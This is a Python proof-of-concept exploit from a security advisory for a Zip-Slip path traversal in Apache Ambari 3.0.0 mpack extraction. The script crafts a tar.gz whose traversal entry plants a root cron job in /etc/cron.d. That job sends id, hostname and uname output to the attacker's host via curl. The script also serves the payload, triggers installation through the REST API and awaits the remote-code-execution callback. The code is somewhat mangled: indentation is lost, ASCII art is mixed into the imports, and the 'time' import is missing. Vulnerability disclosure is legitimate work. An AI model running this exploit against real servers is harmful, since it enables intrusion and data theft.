zeroscience
ZSL Bot v4.89.1.00
Python:
#!/usr/bin/env python
#
#
# Apache Ambari 3.0.0 (MpackManager) Path Traversal Arbitrary File Write
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://ambari.apache.org
# Affected version: 3.0.0
#
# Summary: The Apache Ambari project is aimed at making Hadoop management
# simpler by developing software for provisioning, managing, and monitoring
# Apache Hadoop clusters. Ambari provides an intuitive, easy-to-use Hadoop
# management web UI backed by its RESTful APIs.
#
# Desc: Apache Ambari is vulnerable to path traversal (Zip-Slip) in its
# management-pack extraction: a POST /api/v1/mpacks install downloads an
# attacker-supplied tar.gz and MpackManager.extractTar writes each entry
# using its name verbatim (new File(untarDirectory, entry.getName())) with
# no ../canonical-path check. A crafted entry such as ../../../../../../etc/cron.d/ambari_pwn
# is written outside the staging directory on the ambari-server host as
# the ambari-server user resulting in arbitrary file write and remote code
# execution on the management server (the archive URL is also fetched via
# new URL(mpackUri).openStream(), a secondary SSRF primitive). The operation
# requires the top-level AMBARI_ADMINISTRATOR role, so this is an application-admin
# to OS-level-RCE escalation that a well-formed mpack cannot achieve.
#
# =========================================================================
# MpackManager.extractTar - mpack/MpackManager.java:250-283:
# ----------------------------------------------------------
# private void extractTar(Path tarPath, File untarDirectory) throws IOException {
# TarArchiveInputStream tarFile = new TarArchiveInputStream(
# new GzipCompressorInputStream(new BufferedInputStream(new FileInputStream(new File(String.valueOf(tarPath))))));
# TarArchiveEntry entry;
# while ((entry = tarFile.getNextTarEntry()) != null) {
# File outputFile = new File(untarDirectory, entry.getName());
# if (entry.isDirectory()) {
# outputFile.mkdirs();
# } else {
# outputFile.getParentFile().mkdirs();
# final OutputStream outputFileStream = new FileOutputStream(outputFile);
# IOUtils.copy(tarFile, outputFileStream);
# }
# }
# }
# =========================================================================
#
# Tested on: GNU/Linux x86_64 (7.0.12)
# JDK 17
# PostgreSQL 10.23
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2026-6038
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6038
#
#
# 13.09.2026
#
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer#
import urllib.request# #
import threading# #
import argparse# . , #
import tarfile# .:/ #
import base64# . ,,///;, ,;/ #
import json# . o:::::::;;/// #
import sys# >::::::::;;\\\ #
import os# ''\\\\\'" ';\ #
import io# ';\ #
import z# #
"""
Usage:
python3 ambari.py --attacker-ip 192.168.1.8 --ambari http://192.168.1.129:8888 \
--user admin --password admin [--port 8000] [--timeout 100]
"""
RAND = os.urandom(3).hex()
ESCAPE_NAME = "ZSL_ESCAPE_%s.txt" % RAND
MARKER = ("ZIPSLIP-OK zsl %s ts=%d\n" % (RAND, time.time())).encode()
def build_mpack(attacker):
mpack_json = json.dumps({
"name": "zsl", "version": "1.0.0", "definition": "evil.tar.gz",
"prerequisites": {"min-ambari-version": "3.0.0"},
}).encode()
cron = ("* * * * * root curl -s -X POST --data \"$(id; hostname; uname -a)\" "
"http://%s/cb >/dev/null 2>&1\n" % attacker).encode()
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w:gz") as t:
def add(name, data, mode=0o644):
ti = tarfile.TarInfo(name); ti.size = len(data); ti.mode = mode; ti.mtime = int(time.time())
t.addfile(ti, io.BytesIO(data))
def adddir(name):
ti = tarfile.TarInfo(name); ti.type = tarfile.DIRTYPE; ti.mode = 0o755; t.addfile(ti)
adddir("evil"); add("evil/mpack.json", b'{"name":"zsl","version":"1.0.0"}')
add("../%s" % ESCAPE_NAME, MARKER)
add("../../../../../../../../etc/cron.d/zsl_poc", cron)
return mpack_json, buf.getvalue()
class Sink(BaseHTTPRequestHandler):
mpack_json = b""; tar_gz = b""; got = threading.Event(); cb_body = b""
def log_message(self, fmt, *a):
sys.stderr.write(" [httpd] %s - %s\n" % (self.client_address[0], fmt % a))
def _send(self, code, body=b"", ctype="application/octet-stream"):
self.send_response(code); self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body))); self.end_headers()
if body: self.wfile.write(body)
def do_GET(self):
if self.path.startswith("/mpack.json"): self._send(200, Sink.mpack_json, "application/json")
elif self.path.startswith("/evil.tar.gz"): self._send(200, Sink.tar_gz, "application/gzip")
elif self.path.startswith("/cb"): Sink.cb_body = b"(GET callback)"; Sink.got.set(); self._send(200, b"ok")
else: self._send(404, b"nf")
def do_POST(self):
if self.path.startswith("/cb"):
n = int(self.headers.get("Content-Length", 0) or 0)
Sink.cb_body = self.rfile.read(n) if n else b"(empty)"
Sink.got.set(); self._send(200, b"ok")
else: self._send(404, b"nf")
def http_req(url, user, pw, method="GET", data=None):
req = urllib.request.Request(url, data=data, method=method)
req.add_header("Authorization", "Basic " + base64.b64encode(("%s:%s" % (user, pw)).encode()).decode())
req.add_header("X-Requested-By", "ambari")
if data is not None: req.add_header("Content-Type", "application/json")
try:
r = urllib.request.urlopen(req, timeout=30)
return r.status, r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
except Exception as e:
return None, str(e)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--attacker-ip", required=True, help="this host's IP as seen by the Ambari server")
ap.add_argument("--port", type=int, default=8000)
ap.add_argument("--ambari", required=True, help="e.g. http://192.168.1.129:8888")
ap.add_argument("--user", default="admin"); ap.add_argument("--password", default="admin")
ap.add_argument("--timeout", type=int, default=100, help="seconds to await the cron callback")
a = ap.parse_args()
attacker = "%s:%d" % (a.attacker_ip, a.port)
Sink.mpack_json, Sink.tar_gz = build_mpack(attacker)
httpd = ThreadingHTTPServer(("0.0.0.0", a.port), Sink)
threading.Thread(target=httpd.serve_forever, daemon=True).start()
print("[*] Serving mpack + /cb sink on 0.0.0.0:%d" % a.port)
print("[*] POST %s/api/v1/mpacks (admin=%s)" % (a.ambari, a.user))
code, body = http_req(a.ambari + "/api/v1/mpacks", a.user, a.password, "POST",
json.dumps({"MpackInfo": {"mpack_uri": "http://%s/mpack.json" % attacker}}).encode())
print(" -> HTTP %s %s" % (code, (body or "").replace("\n", " ")[:120]))
print(" (500 'Request failed' is expected: the move step fails after extraction. Write already happened.)")
time.sleep(2)
print("[*] Verify arbitrary write (escape): GET %s/resources/%s" % (a.ambari, ESCAPE_NAME))
c2, b2 = http_req(a.ambari + "/resources/" + ESCAPE_NAME, a.user, a.password)
if c2 == 200 and b2.startswith("ZIPSLIP-OK"):
print(" -> HTTP 200 %r <== Zip-Slip confirmed." % b2.strip())
else:
print(" -> HTTP %s %r (Escape marker not served. Check paths.)" % (c2, (b2 or "")[:80]))
print("[*] Awaiting cron RCE callback on /cb (up to %ds)..." % a.timeout)
if Sink.got.wait(a.timeout):
print("\n=== RCE CALLBACK RECEIVED (command executed on the Ambari host) ===")
print(Sink.cb_body.decode("utf-8", "replace").strip())
print("==================================================================")
else:
print(" No callback within %ds" % a.timeout)
httpd.shutdown()
print("[*] Done.")
if __name__ == "__main__":
main()
ZSL-2026-6038: Apache Ambari 3.0.0 (MpackManager) Path Traversal Arbitrary File Write
ZSL-2026-6038: Apache Ambari 3.0.0 (MpackManager) Path Traversal Arbitrary File Write